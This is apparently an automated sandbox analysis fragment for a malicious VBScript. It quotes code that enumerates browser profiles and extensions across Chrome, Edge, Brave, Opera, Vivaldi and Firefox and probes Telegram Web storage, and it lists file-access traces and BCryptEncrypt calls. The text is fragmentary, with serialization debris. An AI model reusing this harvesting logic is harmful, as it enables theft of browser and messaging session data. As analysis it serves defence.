559DA6D0F9B1A1B6F6F13B9CAFBC412BB0ADC2F3EB6FBF68B3BBB65CFDCEE5FF5BFC7EBA18DC91AE09515E5AD88C8D681982FF7F82359FF4A0BAC75AE96BC0E82D7DD24C63535E58D76987538F81C7247D731DA18464BD7C08CC64A26CB36F2AC6FCFA031BB809A0E644D6692BFA50AD7175EF25C25E49845A0BD2384672E99F6971B2C854419C915FE255EAB400EA36A6483DA78411232D2D2B676244434B485D8ACAC1706D8E81DBA045785B37BF5B185518455BD9CB90EAD0569A2B092D0AC9999FC150FCF6A49396772D2DC66721ABE32AC294BB59C0D62534C9831D61EA4A47B9566E7C21771DDEC28900")3f:Tf02,"teObject("Scripting.Dictionary")localAppData = shell.ExpandEnvironmentStrings("%LOCALAPPDATA%\")appData = shell.ExpandEnvironmentStrings("%APPDATA%\")AddChromeStyleExtensions fso, dict, localAppData & "Google\Chrome\User Data\"AddChromeStyleExtensions fso, dict, localAppData & "Google\Chrome Beta\User Data\"AddChromeStyleExtensions fso, dict, localAppData & "Google\Chrome Dev\User Data\"AddChromeStyleExtensions fso, dict, localAppData & "Chromium\User Data\"AddChromeStyleExtensions fso, dict, localAppData & "Microsoft\Edge\User Data\"AddChromeStyleExtensions fso, dict, localAppData & "BraveSoftware\Brave-Browser\User Data\"AddChromeStyleExtensions fso, dict, localAppData & "Opera Software\Opera Stable\User Data\"AddChromeStyleExtensions fso, dict, localAppData & "Opera Software\Opera GX Stable\User Data\"AddChromeStyleExtensions fso, dict, localAppData & "Vivaldi\User Data\"AddFirefoxExtensions fso, dict, appData & "Mozilla\Firefox\Profiles\"result = ""For Each key In dict.Keysr" (Indicator: "bravesoftware\brave-browser\user data") in Source: kim_jong_un_is_a_fat_ugly_pig.vbs "TelegramWebUsage()HasTelegramWebUsage = FalseDim fso, shell, localAppData, appDataSet fso = CreateObject("Scripting.FileSystemObject")Set shell = CreateObject("WScript.Shell")localAppData = shell.ExpandEnvironmentStrings("%LOCALAPPDATA%\")appData = shell.ExpandEnvironmentStrings("%APPDATA%\")If ScanChromiumBrowserTelegram(fso, localAppData & "Google\Chrome\User Data\") ThenHasTelegramWebUsage = TrueExit FunctionEnd IfIf ScanChromiumBrowserTelegram(fso, localAppData & "Microsoft\Edge\User Data\") ThenHasTelegramWebUsage = TrueExit FunctionEnd IfIf ScanChromiumBrowserTelegram(fso, localAppData & "BraveSoftware\Brave-Browser\User Data\") ThenHasTelegramWebUsage = TrueExit FunctionEnd IfIf ScanFirefoxProfilesTelegram(fso, appData & "Mozilla\Firefox\Profiles\") ThenHasTelegramWebUsage = TrueExit FunctionEnd IfEnd FunctionFunction GetFormattedDate(sDate)Dim strDate, strDay, strMonth, strYearstrDate = CDate(sDate)strDay = DatePart("d", strDate)strMonth =" (Indicator: "bravesoftware\brave-browser\user data") in Source: kim_jong_un_is_a_fat_ugly_pig.vbs "AddChromeStyleExtensions fso, dict, localAppData & "Google\Chrome\User Data\"" (Indicator: "google\chrome\user data") in Source: kim_jong_un_is_a_fat_ugly_pig.vbs "AddChromeStyleExtensions fso, dict, localAppData & "Chromium\User Data\"" (Indicator: "chromium\user data") in Source: kim_jong_un_is_a_fat_ugly_pig.vbs "AddChromeStyleExtensions fso, dict, localAppData & "Microsoft\Edge\User Data\"" (Indicator: "microsoft\edge\user data") in Source: kim_jong_un_is_a_fat_ugly_pig.vbs "AddChromeStyleExtensions fso, dict, localAppData & "BraveSoftware\Brave-Browser\User Data\"" (Indicator: "bravesoftware\brave-browser\user data") in Source: kim_jong_un_is_a_fat_ugly_pig.vbs "AddChromeStyleExtensions fso, dict, localAppData & "Vivaldi\User Data\"" (Indicator: "vivaldi\user data") in Source: kim_jong_un_is_a_fat_ugly_pig.vbs "AddFirefoxExtensions fso, dict, appData & "Mozilla\Firefox\Profiles\"" (Indicator: "mozilla\firefox\") in Source: kim_jong_un_is_a_fat_ugly_pig.vbs "If ScanChromiumBrowserTelegram(fso, localAppData & "Google\Chrome\User Data\") Then" (Indicator: "google\chrome\user data") in Source: kim_jong_un_is_a_fat_ugly_pig.vbs "If ScanChromiumBrowserTelegram(fso, localAppData & "Microsoft\Edge\User Data\") Then" (Indicator: "microsoft\edge\user data") in Source: kim_jong_un_is_a_fat_ugly_pig.vbs "If ScanChromiumBrowserTelegram(fso, localAppData & "BraveSoftware\Brave-Browser\User Data\") Then" (Indicator: "bravesoftware\brave-browser\user data") in Source: kim_jong_un_is_a_fat_ugly_pig.vbs "If ScanFirefoxProfilesTelegram(fso, appData & "Mozilla\Firefox\Profiles\") Then" (Indicator: "mozilla\firefox\") in Source: kim_jong_un_is_a_fat_ugly_pig.vbs40:T6cd,"WScript.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "WScript.exe" trying to access non-existent file "C:\Users\lFICtlX\AppData\Roaming\Mozilla\Firefox\Profiles\5xz6ua91.default-release\extensions" "WScript.exe" trying to access non-existent file "C:\Users\lFICtlX\AppData\Roaming\Mozilla\Firefox\Profiles\lfdjd4n4.default\extensions" "WScript.exe" trying to access non-existent file "C:\Users\lFICtlX\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_web.telegram.org_0.indexeddb.leveldb" "WScript.exe" trying to access non-existent file "C:\Users\lFICtlX\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_webk.telegram.org_0.indexeddb.leveldb" "WScript.exe" trying to access non-existent file "C:\Users\lFICtlX\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_webz.telegram.org_0.indexeddb.leveldb" "WScript.exe" trying to access non-existent file "C:\Users\lFICtlX\AppData\Roaming\Mozilla\Firefox\Profiles\5xz6ua91.default-release\storage\default\https+++web.telegram.org" "WScript.exe" trying to access non-existent file "C:\Users\lFICtlX\AppData\Roaming\Mozilla\Firefox\Profiles\5xz6ua91.default-release\storage\default\https+++webk.telegram.org" "WScript.exe" trying to access non-existent file "C:\Users\lFICtlX\AppData\Roaming\Mozilla\Firefox\Profiles\5xz6ua91.default-release\storage\default\https+++webz.telegram.org" "WScript.exe" trying to access non-existent file "\Device\RasAcd" "WScript.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CDA8C825899D11FE5D92952D460A05B8" "WScript.exe" trying to access non-existent file "\DEVICE\NETBT_TCPIP_{45F5205B-FA7A-11ED-8886-806E6F6E6963}"41:T7dc8,"WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "d9f23c069efa8fb9e689daf22d77959fd913ccbf1819ad7941897550aaa1b909e4bf62e7d24f5aaf5ba0f8b13954c285a14379b4a1973065fc219f35b537adc435e6b42485e6b4835fdef389517228ed269527d8d05817cfb06ccf00d8644b3b9c07c4dbf89c07fefeed49bb9c66ae1d9acc2a118bffb5141774d2cbcb539f22df8367b518436c215529b701a74f3805ea35d823e676d12ba25aefaeab7f8ec1ab659ff29742b5e684a4bdc62c0cd42d9beecc5e5cb5002b312b021644964307a5ed8b8adb1df268dcc1138bfc49e85de566c62ebb3caf9228fa941a55af5c94ca98"} "WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "48260fd5fab2f9134a1398dfcc126ed9c253ab173088ff149c24a7ba471be3bc30243e2a4873fb96e651467884441aa26c1c3b08e14fd4874adf7fb70c3dd7766a7a38f6cfd2a152879893b103bb5c3934fb74862f3c3c3da0fd2261e44c7cad607c2f92f89c1fdfeb354c212ac18560e2f3cf0d062530d8ddc5dc31e6b3dedf9ef0c562bbca9159df5e78bfc07577e02fb70e4b46c19b169ad416a8e390bb3e1e0b8acf1848b5d484e3afd99e9a7ab081ab8fb1a9e1986485c5bd855bd401e05480ca6d7572c81ab486c50740c7806bb6bed69eab81812f6a0dbc060bfd8966940aa8e7e464518ac855d437339f0118f90f55a820fee7744c28ad53a1bfbb52ba835d6c795b550ab86fd326bfa508ff8ad1499eb16fa172f00b9c79324d2c0f60632b7607e4eea63fac2a49cd60ba3b0479c53eae5640cc37504b45e5ce8e1cd7e1e0483e4687b89f9109cc3e3c0fd8d7c4c2d2afe2d9bfa6b2450803448b6fb6aba897a81b67e451eb76d8c86139b29c580866f6b97fb3ead4fb0f02f7918f663bab40eebdf88d810df9f6429390d461d9edf2eeac7b42f797637354549b4436dc7e618ef0eeea7f8456bfb1bd1d926a284d2897f4fae8e936f445c335df5e54bf6dcc7eb4250e9201b19d56fe58ffdbb698f2accadaf4bed8b924297cf8979f1a960b9e8bb5af6226ac290e2ddca165a013fd9396f68d1e492840bf0da99373359c3d00260bc333317308e83e60d08be5d319e5a1cf5b5a39feac35881ed4abf14c599431c8982a7895f3d035525158f43112f90a48233dc43512cb8de040b632042bd7184dee2d5fd66721c3a96277e5f200661cf811ed26b20b96e9b3ab13e0ee8fdf42ed6b127b5feb8c61b803a8f190b66e7fc061ecbb2240c7e10a3330c976a500d038635db34d25b88110ac466e2fad21424e78f1e7495f75f4fba8c49731616c41589e933affca258c9624571f8bd6b43cad5f5e69307659af2b80725dce86078aaac5b55a5d5f13057e140a8fdcb069f8bb46f31a0eed1d08ff7099dcf41f95b52a0bae9ffb2881e58b8c1cd61193524b6673adeb2c9b88b39b8205514004e02be9fbadc244d9ef525ff7c84600b49a5569c0ce26e8919bf16a135ca752df91fcbb80d2586e54655587bcc33e56c3a1f70ac1459d4702ef7ba6c2265fb92620159e80e52eebff3b7beb695dcb46283b9ebf05e714a694a3af33ea48ab5063983735bc185a0cfc969523ba2c40b4948e706f9e901073aaa7bf45b33ef49e587a376fe8052afeb0b3bb6954b787351427eced64c8b466d05ac9b90678943d8bfd6caf809df2a1cde05dfd9a0b9f312c64441018292b7555c65b8f94a3b8f76fe6edaef9736ed2c1f13248b99a4ec50de65bd19fc1423652c34c40c244510963cbc2f8ed6f61e58d40bc76d2a64efda132689c6be39ec72fcb0302aa"} "WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "f69eca4358023e3a8bc988b38f88fa2c7cd023c054c7e1b5ec5567cf5971413e19892c3c4c32a24c2c6c60cdf6a03e6bd9217568a33baa169b83c5c4de4826a91ddfc82720585ea0c64fd50103790382d7091cf2986047d0c1d0bd4491011dddda6b08774c48f820eea2b9b71a2af3c02291efcbe14a52ef97d97e339ebe7599bef4bc5a5edef4617e7a68dcfd982280066885ed2b3801cc58c77965351b0ebf0ae19b973789da6c2369fe3f3f3b0975ddf1364bc3c5645213f706c08e881a19e6ec7c9685b830fc2eee0c0a97f2a6f09fdffee729769f76022be233be289f3075ce"} "WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "59decf06fc690421c598b492f0860c13a9f3229a53bde2c34bb1194b268138c66040675a030f5169a8b37a5b9cfe35e929c8145e952fd8a4aa1af3a71ebfb1a4c2ee65024e49af6305f62438b7a3d5f28a5a7a7f5bad4cc529700939516820d752c4d575c582e7e95fd273bdf94ac3dfcba6c3806f1aa8d9674abb0047702a556184f5d33e610bde92da099ea6c43f67781ab8a9a698346ce75c15c0544e3199de283fdaf8e78096fd85eeb5d9f8fcd6175010d0656a74ecb28a079bb77936facccdc559d0a61d30cc9f9b11a485116751aea464fa2d018b9125525b1ff23409887b41be94d922354f9029e8dabd901af47371c4a360d8314dd4ed1880a3729fbc6672c4e9b4dff956bb91466ff3912b58340a0eaa43e8a2e8b3d648994722cd5855273afb5934a5d929554352089e2a639b7db5125dd7ed90ceba5d8fd9447b3029d7b7f7198cf45d9da80de2f66539d3a2070d20f9896064678eeb34b4211dd5382fced4cf6ac6495ad008dfa21e5432315afe13438bfa9e7ab8372dbc49c30b14bad208ce2e8bf63ad4662427ba5dcd694f2d631c75738ad8ffd2ae973fc187c948d94a5115bdc5745bdb51912309bf23598bf867df6152a1d27b8c6a737f6cd2d53bbb998fa47d874bf9f75aea17fe2acdadfb7f0e797927bf787a13c1174415526a9262053efd2b92d30e55d27724e3ddd86f557877340dbf511cb608701565c25915979a0250fbbee4aed1e706ec4b011dd97e98720c2afce388caa0270dcb7ad32328e43807ee644b3edce1043e2575ba16c718a9f3bd38ac086a0ceb8a2bdec43fc1fb3fdac8229d6d15e582dac1ad7115d50248f32fc4b493dd0bcea142e9c1e785593a821d9bbd6c312d2078db8d3466e08d10f67a1f9f95358a224e7ff825d8b43b06e8008aae885b3f11dfb5e2fba32b1b89ac3b9f505e87b3054802051563458d20991444791000519180f8dcaea015e5262a1a56263fdf2be2dbc6fac839bc122ff0bcb5d1e7f1075b8348dd4110eeca59eed51650c69566ae7c698a431c3ee343e6c46912962a447d51a1d2b4c4e6ac0a7463323c11c6fc1608457c63d0b3b7ce06246eb67ed60898aff5ba34fa459116c5f41353caa1bbf90688073d02d91702602cbd16acd4e1e222a1c8c28891e9c91f9ff98de1b5ad7082602b06c325ca031a01130a8fbe1c326b8cf16a04ef24a613829aed450e85573d344fe1eb304e8ad7a248febf8265167b6090c50e4738bdd6e63c7199f40977557dd9a12074fe62610cdaac9c5be523511345f04968538bfc3acb5203a48744deb823a9b06e03abf7042a055fc0082b6aa56e1d4e139cbda5ab2733d8e5451ce4d0b8041b17c1779d0e48ce9d6f024163c397b37a8e250797d5168cdb780add01bdda531e037cc4cbe00dc89410d665e691627e8013e03c01ea0676560a6f70"} "WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "d52df0791c40a4fc528b4f97902e2ae6e71b7dcf853f4554dc1a7e42856286d0a35c5032a852acc2cbcdfa2304bbc83e5edd650b3199538fff61510f89751e3f30ba7f3c702dae368993cddac61c87a301d4b5dbc3b5fd9978c250d3246f3a0f73ecdd39a682f4a2992831c6715955ae5d41b180fb60d3733505514fee600869f0df5a4564635393715b351e6192023e4c4ca3e54ee46d0105c9f092f89bc562064bf77ed38e860715cb55d4ad7aa38e9c9fe8f0b308b6fbe593e9a172f83aea7cfde44ce600264e17dce817876d36f45dac8a99bf26757180b7be851c83de2df62a"} "WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "39f9f3bee32051c545fa0abeda4ea9435c7452d7b9f72625f1595d9040a2db7492ec421f54523b6b5620e99901a7d5cbda7833eb574cdb78fe2d24c63baccac6db13388532398bbb42e4ca3c099e1cfd8ffc08206ef1770196a25d586324c1a175e0270b5df7ce30a394318d143373c5b6860430afc5a52505e417f29d559d4083d14d5cb2a0670b4a21b92d60f00535faaacf5bcee3e7928f419749b54b75c9ad89c1d95c2065ee5134956480b836cf9aa54a48275533a22f357029adbcf0fe750f01c2bb6f77a34a0e065643b5d490b74fb82ba1113eadc31c0bc8fdaf1f944a21ddaaeeb6e060d6ca96fcf7300ae1dccc134c85f678a9071c8115fd80fbb0ca70fd477064dbf21948418c529e2a073fdb29400dd830abee6ba5997729ecb3b5748233f19c009c0c261d8f8f5329a5f2d980f58420573ea6e072055f1878eb6ea639517f17090b23eb731cee939488ed1a12993544bcb690492da3edcbc1755466c9c19244a14615d5710a4de9dbd5cce5293503d6c5118b544017588ec333720afb5e45fecf6f17c22b5abf3a3c2cdea834888dcf8138993216634bf4e7ed512b02187bb9dd5e22f71ffbaafcca7141111e8c7d1e3c6a9e46de7b922b0a776503e81c232867f0ed690438aa1fcb22c2a977400c0b4969f4abe17ee4035ae7059e28a81fbb31aeb6e2cdeaa4e8c054eb6f5b0b9d0b0c4ff9ae619920c2451e541c1e3cea67a0f9006b36c2800f87c2695dd5f2105af12ac9cafa9217ae2c3266387a4b005fcb25cabeda59c947a46ecdf3298e7c7ec6b42c1dab1e60639ba7f665a98eacd3e59ee9692c7d4ac1b253552991b0ebf3d80d851a2e23c2124317a8b50339d5ebe640c5ee01bb93cf68a086405dc2aa0550466b8b2627639cd7fc3c27177e908b98430c68bf656bb9f38b65b7e5ea0c3e2a44de631158508611945212ac22c86fb339ac8344f18104419f6f05e4d65e546b70a945541f8d9458107d634f11fa3afb288c89eaa451f31ea6c4fee0d91a4492dff28a26b03a18f63be52ce3f81d647fbe1c1929b9c00179ca8d03eefcbe6b2a1789fa6ccb0ebe079dc6d0650ec9ca9fb89d4de4f18b0c57b0aa75e4f006cf3e35fccfc736004a28a68ea03b9effacc05a99ec5219f1ce5de2363e3d0f2a85a29436a079ecd4d1bbfb6bbd1a65ec12c2dbb579ebb1ca4d0e9e900e50996feebabf14090647354d5f9fc3f51effd25ab9d74d1255c8b435c0bf626b8706c4a2598799fdaac7071a63287e3fcb9a6b60687f10704240d2e09383fd77bab52e062d88f38165a5a6c367f4be34f5b26729ddb10b0b7045af48fd8ffc89717b47713dd0f2662527ca98b2e81e5521cd0aff1f1c5e0b8a6dd4ab99433421d2b7b9b9b5269bee33726a4cf5f3fbf92c1b0e7a6a7d2d2463b7d3abc7fe5327a17c46071d3597a56854c174aef4"} "WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "d2023920d6e78d2e3e42af81fef09da6083081eb7e7cb8c4a432d7cf6e36f46fea845cddd95ba69a0220490c01ced06ab6fcd983a2c1aa1f8141d98b8b96b01ea50dfc5003df40fe8b4f73ce18564d11915299a8060be6175c48094426a2a723000a2ee77ee911b79d749bf41dcaf4ffd25177219a6b9cfb12ae69f99d739c2cc6b373393ab79001eed2c362ae60cee2ecfb223646a3c260a93f4bc4523a63179e0fc50b783642cf659e8e27d8f3b323055bf392f97ead4fee62f70640645d27c4bc188a0ef606d6c19d42a433a902d7392a2037d7cbd6b1bbe418e18efb6162c900"} "WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "cb0c09dcabe93c5825a7b7957c1b31e921d87f5499d1095ae4e28dea09031def68a1822b5588d5f619cad5f0921265fef88a39c362741fdfb98393ef8acb3a3c0a16cb896b922cbf71f0d70c8e13e18557bddd7b752cbc8956fcc78d0f99b75789f1f41d32631d3e2c6cbd6ef999d910e75f041ad1dfb817868f4a89229e6328c7c67f30404e5035c85301de043ce3540477cb9f1bb277c0303a51f546226502777c6501fd4625faeae454db9b0fde8dee2f26ffff41eeacc0f2aade5162aa587ab8737fe7bd0f45aec46991a4ebecab9da6ad165dade717c1f770c02ea8ac6f132fb3032703e0e4747680caf6d518caf5b1bf719028ebb829ef03319aa790825b91411aa1b28d5c35f2811d6d970671bca5feb1dc4351482c372e4782052229e7ec252a5de7cd22c1c5ca3ba5dc1350e4510ad10af74ef33776ecde92decb92ffd7ba63f826224df41e1cbe1eda404c7d00dfe82c12bedc04d01d531c1e044159fb9321b24e80457474c021eb2d5dae42a8a1e1bcf86fc91f1c9522f7ff14eebcd30a4a8c9ae418c17aff1bd26753d8f747d91f26a94219c9fb72c5fbfc69b219a35def7016be8361c5366d898f297443067b334b56ef38ce6ba0b0a03bfdf838349dfed3bad614cff3ac33c93b62aa0371fd9c86a420f51ac542f0a7bb4b9a7e55b492d22131ea246b4b0a8f8ff395e950ff19c4665e20c164ee91252352b3330dde61f8468dfbd0381882794a3c0d52b70a41a46333dd3a2feaca9f4e7fa5548d49de8cc0bf122ee780615c3e0a1664e9cc26e8bf0360bb248b0ad98a0cdc2153910fbe7fc4626d861748c46537c4c960f05002947475a49ce11302ea9743d5282756ba7f40c98ff905401d81711a41a586af4a1e02dc8bbf5671614d9e7d88ea599cdccfe0b8de0ca718745f01b7e3c7c54af411b6ecef5304b52274a191a430d759538b1e83a1688a31adc822d1f6146294bda4717cb0a5ce630035541c836e47908290ca9015d4af0b11019306015b71fc0c30b9f8059fe00b27b9f487e744b4e956c226e64075cb7f2fafa55a774230502642d493ca0fc14576e9029e0f88ebd28eb48233b76b571562adbc3ec491157a17a827ec0008f51d5df79780ea0f05a3db0758c490ac3897907c5d2c6bc1490162f686280b8d5adb5c084b6f1f21b1037424b43bdb139615be96ee970f478ae4ab188d721cce0eed150c4a13d830b1919c9a1220cefc593c024682e38e5707ce3cf8152283ac405f89c4904e9d7503ac9a06cae9becb1ff999be3c95577bf08c39d736824ab9e9907f131a86be6efbcf7e3973781a567da7e6c2540e8420d29ff337b74b876f81a52d3a9298411dc0edcb10c3a001da2c2f848d37c11339f650478eb12820bd370960079027701076b6233761c02097e1d6beeea4c53d5c194ed3e1ca7bd2e88a42dd21858f"} "WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "7111ea44814557cc8e0bc5fde497e9993cf37cd884d7111d101e8d0237452d04307e59da3882b8e56fa4f588450d47de9ef0f460a574b9a51487ed24bf7fcc2dc5732f8a6edc5a267c50450daf89f9bf2d33c4908d28eb35f398c9cfce041320c4302eab0560e9e009cf3871375c2370c7b498d65d36379505504034f5649f075034c14e379dd9efbbe0fc44bb73081ea3915294f7d8a1265556f800108d43a02d562aa544c45c00294e71fb0916ccfedc8fc613d4cdff7adc0ea0c9f0e9558e418b09bcc1049c6fb41c7ca827b82739cdfd63e0d24b4ecc29b5d41ccdcdaadd0806"} "WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "c5647f0bde7a7bbe5f7bf1573fe5acc9e1daa4347a1ec371fe2b276162deda86a1db0e897128e14979b07aad73e900e821e565862d3d6178c6474698c6754526185da6adb10656588b751ca49885c6872631e14bbdb8df5b82415cce524c46d0e8e1e947105c177f25ce09a64808730cf70ea98283795db58571b6c2708c9fff165474a6c0a6f19ef3e60dffd40522c2ef5c901a3ee071ede4b52bcecc8a5be51654c210109eb9b6d340a116c107a06e402a5e07e26e967e3497ee93d07e3fee52a2be3d883ed676218d56186d58572d9df908cb73f9d0e1e79f69fe550780f2c956c960bafe176f9bb0b01259c09097bc02d3f21dee09e3a398142db2aaae82827f2ea44bd3619b15cb474ed4251d6c89200dcf61d0ecdc7c4b3f0e143638c0533eab41779935ea43789c905f0002d339243bd0ef798c8f15b1cc0e511f48a8ad91fe3b13d32676363f9b1c23478f348731b8e27eed9a5f9e4ca0cf12f73b9f5661d1506c2ea6253a26b221c8fc5aee4e85d594f2ba3b030912a555b63296b35f2d5133a77934c3327785491bcfa79a715500a684d90f0a46d01898248c6a2c389b931a7eb8f08be7e334f63744bd26935d7aa283aabb7f517e0157eab733239130f1d3002baf3a2c8d97b427de54fb32b74553b1921fcab404bd72cf7baab814f28a185f23e19922e786675b7c4fa59f63b5dc5d12003d0444377a26f166ea2fcf3fee3ea2904f3df6fa6e68862acb65e4670e8666b9022fa042b0adafabf5860e9e7d7e4cb1fba40a63f777cbe9c6a98a00b2ad29795e75cf5ae69013cb716ea24eb0c97ea71ef84bd05dc9cf32629c7c50a99eb3f68ff4d094942a68936f732a3de24adf452055b8ddb8b9f2f1658e443285c4851a23b417ee429ea75f5276803e2d09d072c2d87e8428d54223c4de0cedb98b19412bc819b37b8ccf8ab13db014eb9f5fbf33822e199006fb330b684ffe36c3deb6936c975e73cf2dc600c58812926bb1e337e538760a2fa16465871abe3a295a73f61a064bca061405c3ba62aec6ff9c17a3c8390d4e6fcc24d262c6fa94d60665dad5e7fb4feb266cd981feb043b35f4a4a90e7db87c2c5984dda1157175e34dde2e9b16ac1c816fd39be97d71f0ff4f2ce5789e2802c52fa1d7608329dbcd7c0250bb3c248784e78a8dedc727c98c9bb339786848bb902315fe3e4b38079de5d4f4902e13afb96f47c659ba28bdc4743abf07b4b2b54f3020521f4463733f9b9b92f0f02da884a159105c2512a4fbfbcac8de1fff13e16fadeb9edf26559c73a885322308925bea238313cde21ced4fd344492d9297134ea683b29c135a9d8dc2ff48284cd1efb8e57da41ed7fb60f220f005c1f622ff685effa6440b7345a3190f4eca2b3115df556ce1eb97f27d02cf440fd2b92195129c755cc1fba706520fa8aa9cf5372de2655"} "WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "8280d62630ba314e43c8e03c3ce896fd122dc4f24199a93704735115ed248aac735809c1b1b099ee5be577a80022735fe725fb8c1d5181b9871ade4860bea52e29b9401aa68b33b4d5380a0e0ed448fb9ffa97ff48f10529114d6176542eafae1bdf7810695c7d5f747b91c63eac2b2ef096f20b008c20ab88be26e7e813eb69bc12aa0d86d102c90a50a5c14de820685a3cc65b0e41b3b67d1f7c219dc16373b9ed590d30fb2414c00300b07aff1e274b28f55663f7715c7148b0ec4d2c8e0b651fe0f770296dd989d5aa7971442e50761a7e05aa8220e175fb3fab4513050970b1"} "WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "6bb782ce7e4404f9ac12b1831d13c0d61aa526fd0aee961df409cb94d622efa692b00d641ccc2ffe147ea8f55911885d21616ca08c96a603bb7348a779d8af45d0775b003b50d69c8c2c8cebf720d9dd6afe4523c7b4b24e76cab1bfb76915ba26f32a3b9678eb9cef774548f33333c04d7db0c396085861e555689cb2dfe0ff926bf06155e52e2410ef40ef4bdd3bc6ef153689fb8caf04d3e09774ea2a4dcdabedb59414ee41e3d817cb2cf609fee8aeadca83bdd3f7fc7233fe104e50207e2920bd453e7766b04a25acef59f882627befe1359a97a589325854d39a3e3b8f01c791be9b63cc3956e977ead0e0deb8e04ad63a9db28f2b76e9edf7c4827df8833c3ad53caf82eea8ba9b97dddfb00185647aa73b5f2293eef06d66579e8678be0b54b8692a572606818b9fdcdc16dd9d3580425282900ecbbbde97222b4238ec11821acc81ce69fd97c7066c42962757aaf0631712d4a05f95d66c92909d0702f5047bc2e55269110e0430dae58cedcc6ca33d38a7ad84979251a30ab8ae4b503aa3041b5aa0218779737f048bd8d35749ba292767fba34762e5d7612e17408500fde0f892d395c2c8978655a42838fd9e053df0be3b1a121e36d64dd5543094d290d2db4b078e55bc18d3cbb36ff0a25636317c0587325dbf21b3930c1272e8928c50533670996340df92106ee6351640a366bb9c2c19e3e4ea60c0172fc77b1a4604d5fcc1e356312953c3fe88f60ecc14f291130b5ede0408574b6424f5bff483408f658b873020accea1e948688d4aef54b49011d5e85831a0806f816e5d3b06d11d4fd723be7d8dbb150c62fbe8fcf89b03da6eade636b432266caf07486b0a05634f1e75bb73c7d562884b38ce3aaa97e145530abc101f5ec06257055344a575e274ddec2e231f7d972f52e383263b6f17082c128d5ff36c78207b3c0cc95e71f10aa30717f0dce0f9523a44d49010eae9a649b8caf7c18811820ec43a956ae8ff67643c889ede8fb2eea6c58cbe16e3141918a2b27d0164a7968b02894d491549bc90617ba5a2e726e0caea1f9d1d7fce74f4cd716d4d482e3b9192fee8333d247a68097af1be8a5c14d009fd0d5ab67470c1dee276091245f530b4d92a2622314e890c17e1e94d0c3516acc1b823e77a13e8556c0f66a2978fc2285ede38153c51f8a15788789d7fdf64bb35f595b0cbf2bde7a9a82191d76d6031f16f9db5065af8cef8baebb12485eb38d209a6a8284e5394504d134de582c3fc8b9cbd1f51b582064cd1468b11ae0f700153718d698ac53df1391c65eb5dcc685d8decae702dc5aefe5005cc5840e8590fb3c2592f5666c4f4adfcea5b799aeff5dfe6ab4e92eab4cce5e9e316a0c8a88bccfb4c87aa2244eef659e5c4ca0c2394e17cf41db223879bdc94c3827dbe5a066c1f1b4b49c80fd2fd70c381a155a6"} "WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "c930168750d9ed33092de617e7e3bc14045597fcf753865cc7bd917bafe461af615a48ec4ebeff8487da98a280400f4bf4e26639215e476cbb5dd17bbb5506dd12936d3ff0abec08f679f142897808ccef6b8cb1e0b744f0881876a53707d14e7ed8419d4724272b144d31c7508c3f58ebf2f4a8ad8e8f35c6971c047884c68b2d771cf72ffbfdd58ed8aa51101d23d3999a7a63c6f6ffff66212032c557b095b42b81e5841316851a18ce2037f920214bd5d11222c57946708d72d97d8848976c9abea7e5d2bc3774be028f5e0ee7f3c662ff19e103df31b2e6371066dd889a03f0"} "WScript.exe" called "BCryptEncrypt" with parameters {"$datain": "d4fe3a3b37d34256118539e3dccc986e1214e1bb715e8a0b91e9606f8483e947414c8e36c391653d81dc904eae97ec703a7622f3d4adb0c170e6788cebc95f145cf72bf99eaae7da423d64f80878da28f0389c54bcc689a3db81868ff3e016e1f9506d5c6d74cf62c3ee4f390a114902647015a288e0cd6666971aa50f8c6b928eb01d2d570319a3f74769f091b60aea8903b4b345e79f3ef07c18e9191ea05fe2a000f8685cf47238de04a676f21f45aa6475a9095fa21546d007d6c3e3e41777a10e14867f9a7c593c2b47b0180174a8b978035ba70809ffbfca0bfc5b57f56b15356574366dc41d28bb33f5d571c9de6b2c738b790167022648f2266c5f3130c2e17d4ac851793ed00a7a78710f8caa1d60aed795fa395cd1e3f841e3537b762fa1115de3d398c76f4d21f92f709065710aec42513c27cf18e4ebb6c16ffade36f591d1113bea7d5d218a9b31cbdb529a787a594c04979f1bb7467bafbe9763d721a5116c4fffa6cdd480cadb5a7a42479b4aba92b50ec6f7d1dae9e8a2746e3a88cd6bd0181cd83a9dd818ffdecf2a54e4806dfab310cd8229c5c6e90b6af85705fb8b67821d2a4791eb48104a665e0c342ee0b2403405df932a1c3e799612448a77e75516b4ca7264707110b5379bc6c8fae24a73e7b9c8aca3760660ab3057ded8f014b75ffd207bc43b8a0920c3a3c039a2e3521246c765e919a02ef556f24e7c766c293d7e1f222b2e40072429805fcacab7000f8e74b992e7d9a139fc785fb9623af4e0f6ae1f58f46081ea3518bc3d0dece0341d25362b4d316b3f71ffc963e97409c985fe7d68a81d18f75a400af66afa2c4b08a7efd18ab2d93cf87aef64dbcede0719cee6faf2796aba31cbfea3839ba4c201c8eddc848bd003d43294a20b75320f1d9199fc0c9b00c7d1ffbb8dde9a56af964f2b2c0ae6005ee7e003208165e3c67591e9df73d9e8b5385029afe33655ec7a6d22296bb890542f3be3c9ba410bf4db5f2cb51c1af7c19b15cfb60c4c5746d9c7a0df05cfb3b2a6161c74f844da6a59c4d6f4f05091cf9a983cf91d470166084681793358125094f9678cecfa5c2add690214cf7795cda0eadd9a2e091cd22831fd274323cfb87ec3daa5b3e19639151207689d14f63890894f552b50993dd0a56e95ade217a0bcc122bc275751156173d36990e17faab4e0094e979fc14cc4211dccdb9a11005e60db76fb015f27e19086bc43a12c5cc1ef4eaa4d1a49cfdc4cc5ef89eb3557e853d5edcc66dba12ca3411edec4b2cb8c3d14eec7ad025be1baee525ffb79f08fa25cb4c1158bb1dcbfed65e67f76e0696129d406